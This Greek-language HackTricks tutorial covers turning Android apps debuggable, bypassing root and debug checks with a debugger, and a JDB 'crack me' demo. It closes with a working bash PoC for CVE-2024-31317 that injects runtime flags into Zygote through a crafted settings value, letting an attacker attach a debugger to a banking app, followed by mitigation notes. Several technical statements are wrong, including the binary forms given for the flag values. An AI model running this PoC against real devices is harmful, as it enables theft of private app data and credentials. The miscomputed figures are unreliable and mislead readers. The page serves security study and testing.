Εκμετάλλευση μιας εφαρμογής που μπορεί να αποσφαλματωθεί

Reading time: 7 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Παράκαμψη ελέγχων root και αποσφαλμάτωσης

Αυτή η ενότητα της ανάρτησης είναι μια σύνοψη από την ανάρτηση https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

Βήματα για να κάνετε μια εφαρμογή Android αποσφαλματώσιμη και να παρακάμψετε ελέγχους

Κάνοντας την εφαρμογή αποσφαλματώσιμη

Περιεχόμενο βασισμένο στο https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

  1. Αποσυμπίεση του APK:
  • Χρησιμοποιήστε το εργαλείο APK-GUI για την αποσυμπίεση του APK.
  • Στο αρχείο android-manifest, προσθέστε android:debuggable="true" για να ενεργοποιήσετε τη λειτουργία αποσφαλμάτωσης.
  • Επανασυμπιέστε, υπογράψτε και zipalign την τροποποιημένη εφαρμογή.
  1. Εγκατάσταση της τροποποιημένης εφαρμογής:
  • Χρησιμοποιήστε την εντολή: adb install <application_name>.
  1. Ανάκτηση του ονόματος πακέτου:
  • Εκτελέστε adb shell pm list packages –3 για να καταγράψετε τις εφαρμογές τρίτων και να βρείτε το όνομα του πακέτου.
  1. Ρύθμιση της εφαρμογής να περιμένει σύνδεση αποσφαλμάτωσης:
  • Εντολή: adb shell am setup-debug-app –w <package_name>.
  • Σημείωση: Αυτή η εντολή πρέπει να εκτελείται κάθε φορά πριν ξεκινήσει η εφαρμογή για να διασφαλιστεί ότι περιμένει τον αποσφαλματωτή.
  • Για μόνιμη ρύθμιση, χρησιμοποιήστε adb shell am setup-debug-app –w ––persistent <package_name>.
  • Για να αφαιρέσετε όλες τις σημαίες, χρησιμοποιήστε adb shell am clear-debug-app <package_name>.
  1. Προετοιμασία για αποσφαλμάτωση στο Android Studio:
  • Μεταβείτε στο Android Studio στο File -> Open Profile or APK.
  • Ανοίξτε το επανασυμπιεσμένο APK.
  1. Ρύθμιση σημείων διακοπής σε βασικά αρχεία Java:
  • Τοποθετήστε σημεία διακοπής στο MainActivity.java (συγκεκριμένα στη μέθοδο onCreate), b.java, και ContextWrapper.java.

Παράκαμψη ελέγχων

Η εφαρμογή, σε ορισμένα σημεία, θα επαληθεύσει αν είναι αποσφαλματώσιμη και θα ελέγξει επίσης για δυαδικά αρχεία που υποδεικνύουν μια ριζωμένη συσκευή. Ο αποσφαλματωτής μπορεί να χρησιμοποιηθεί για να τροποποιήσει τις πληροφορίες της εφαρμογής, να αφαιρέσει τη σημαία αποσφαλμάτωσης και να αλλάξει τα ονόματα των αναζητούμενων δυαδικών αρχείων για να παρακάμψει αυτούς τους ελέγχους.

Για τον έλεγχο αποσφαλμάτωσης:

  1. Τροποποίηση ρυθμίσεων σημαίας:
  • Στην ενότητα μεταβλητών της κονσόλας αποσφαλμάτωσης, μεταβείτε στο: this mLoadedAPK -> mApplicationInfo -> flags = 814267974.
  • Σημείωση: Η δυαδική αναπαράσταση του flags = 814267974 είναι 11000011100111011110, υποδεικνύοντας ότι η "Flag_debuggable" είναι ενεργή.

https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png

Αυτά τα βήματα συλλογικά διασφαλίζουν ότι η εφαρμογή μπορεί να αποσφαλματωθεί και ότι ορισμένοι έλεγχοι ασφαλείας μπορούν να παρακαμφθούν χρησιμοποιώντας τον αποσφαλματωτή, διευκολύνοντας μια πιο εις βάθος ανάλυση ή τροποποίηση της συμπεριφοράς της εφαρμογής.

Το βήμα 2 περιλαμβάνει την αλλαγή μιας τιμής σημαίας σε 814267972, η οποία αναπαρίσταται δυαδικά ως 110000101101000000100010100.

Εκμετάλλευση μιας ευπάθειας

Παρέχεται μια επίδειξη χρησιμοποιώντας μια ευάλωτη εφαρμογή που περιέχει ένα κουμπί και ένα textview. Αρχικά, η εφαρμογή εμφανίζει "Crack Me". Σκοπός είναι να αλλάξει το μήνυμα από "Try Again" σε "Hacked" κατά την εκτέλεση, χωρίς να τροποποιηθεί ο πηγαίος κώδικας.

Έλεγχος για ευπάθεια

  • Η εφαρμογή αποσυμπιέστηκε χρησιμοποιώντας το apktool για να αποκτήσει πρόσβαση στο αρχείο AndroidManifest.xml.
  • Η παρουσία του android_debuggable="true" στο AndroidManifest.xml υποδεικνύει ότι η εφαρμογή είναι αποσφαλματώσιμη και επιρρεπής σε εκμετάλλευση.
  • Αξιοσημείωτο είναι ότι το apktool χρησιμοποιείται αποκλειστικά για να ελέγξει την κατάσταση αποσφαλμάτωσης χωρίς να τροποποιήσει κανέναν κώδικα.

Προετοιμασία της ρύθμισης

  • Η διαδικασία περιλάμβανε την εκκίνηση ενός εξομοιωτή, την εγκατάσταση της ευάλωτης εφαρμογής και τη χρήση του adb jdwp για να εντοπιστούν οι θύρες Dalvik VM που ακούνε.
  • Το JDWP (Java Debug Wire Protocol) επιτρέπει την αποσφαλμάτωση μιας εφαρμογής που εκτελείται σε μια VM εκθέτοντας μια μοναδική θύρα.
  • Η προώθηση θυρών ήταν απαραίτητη για την απομακρυσμένη αποσφαλμάτωση, ακολουθούμενη από την προσάρτηση του JDB στην στοχοθετημένη εφαρμογή.

Εισαγωγή κώδικα κατά την εκτέλεση

  • Η εκμετάλλευση πραγματοποιήθηκε με την τοποθέτηση σημείων διακοπής και τον έλεγχο της ροής της εφαρμογής.
  • Εντολές όπως classes και methods <class_name> χρησιμοποιήθηκαν για να αποκαλύψουν τη δομή της εφαρμογής.
  • Ένα σημείο διακοπής τοποθετήθηκε στη μέθοδο onClick, και η εκτέλεσή της ελέγχθηκε.
  • Οι εντολές locals, next, και set χρησιμοποιήθηκαν για να εξετάσουν και να τροποποιήσουν τις τοπικές μεταβλητές, ειδικότερα αλλάζοντας το μήνυμα "Try Again" σε "Hacked".
  • Ο τροποποιημένος κώδικας εκτελέστηκε χρησιμοποιώντας την εντολή run, αλλάζοντας με επιτυχία την έξοδο της εφαρμογής σε πραγματικό χρόνο.

Αυτό το παράδειγμα απέδειξε πώς μπορεί να χειραγωγηθεί η συμπεριφορά μιας αποσφαλματώσιμης εφαρμογής, υπογραμμίζοντας τη δυνατότητα για πιο σύνθετες εκμεταλλεύσεις όπως η απόκτηση πρόσβασης σε shell στη συσκευή στο πλαίσιο της εφαρμογής.


2024 – Μετατρέποντας οποιαδήποτε εφαρμογή σε αποσφαλματώσιμη διαδικασία (CVE-2024-31317)

Ακόμα και αν το στοχευόμενο APK δεν αποστέλλεται με τη σημαία android:debuggable, πρόσφατη έρευνα έδειξε ότι είναι δυνατό να αναγκαστούν τυχαίες εφαρμογές να ξεκινούν με τη σημαία χρόνου εκτέλεσης DEBUG_ENABLE_JDWP εκμεταλλευόμενοι τον τρόπο που ο Zygote αναλύει τα επιχειρήματα γραμμής εντολών.

  • Ευπάθεια: Ακατάλληλη επικύρωση των --runtime-flags που παρέχονται μέσω της υποδοχής εντολών του Zygote επιτρέπει σε έναν επιτιθέμενο που μπορεί να φτάσει στο system_server (για παράδειγμα μέσω της προνομιακής adb shell που κατέχει την άδεια WRITE_SECURE_SETTINGS) να εισάγει επιπλέον παραμέτρους. Όταν η κατασκευασμένη εντολή αναπαράγεται από το system_server, η εφαρμογή-στόχος δημιουργείται ως αποσφαλματώσιμη και με ένα νήμα JDWP να ακούει. Το ζήτημα παρακολουθείται ως CVE-2024-31317 και διορθώθηκε στο Android Security Bulletin του Ιουνίου 2024.
  • Επίπτωση: Πλήρης πρόσβαση ανάγνωσης/εγγραφής στον ιδιωτικό κατάλογο δεδομένων οποιασδήποτε εφαρμογής (συμπεριλαμβανομένων των προνομιακών όπως το com.android.settings), κλοπή διαπιστευτηρίων, παράκαμψη MDM, και σε πολλές περιπτώσεις άμεσος δρόμος για κλιμάκωση προνομίων εκμεταλλευόμενοι τα εξαγόμενα IPC endpoints της τώρα αποσφαλματώσιμης διαδικασίας.
  • Επηρεαζόμενες εκδόσεις: Android 9 έως 14 πριν από το επίπεδο επιδιόρθωσης του Ιουνίου 2024.

Γρήγορο PoC

bash
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

Η κατασκευασμένη τιμή στο βήμα 1 σπάει τον αναλυτή από την "γρήγορη διαδρομή" και προσθέτει μια δεύτερη συνθετική εντολή όπου --runtime-flags=0x104 (DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE) γίνεται αποδεκτή σαν να είχε παρασχεθεί από το πλαίσιο. Μόλις η εφαρμογή ξεκινήσει, ανοίγει ένα socket JDWP και είναι δυνατές οι κανονικές τεχνικές δυναμικού debugging (αντικατάσταση μεθόδων, patching μεταβλητών, ζωντανή ένεση Frida, κ.λπ.) χωρίς να τροποποιηθεί το APK ή η εικόνα εκκίνησης της συσκευής.

Ανίχνευση & Μετριασμός

  • Ενημερώστε σε 2024-06-01 (ή αργότερα) επίπεδο ασφαλείας – Η Google ενίσχυσε το ZygoteCommandBuffer έτσι ώστε οι επόμενες εντολές να μην μπορούν να λαθραία εισαχθούν με αυτόν τον τρόπο.
  • Περιορίστε την πρόσβαση WRITE_SECURE_SETTINGS / shell σε παραγωγικές συσκευές. Η εκμετάλλευση απαιτεί αυτή την άδεια, η οποία κανονικά κατέχεται μόνο από εφαρμογές ADB ή OEM-privileged.
  • Σε στόλους που διαχειρίζονται EMM/MDM, επιβάλετε ro.debuggable=0 και αρνηθείτε την πρόσβαση shell μέσω adb disable-verifier.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks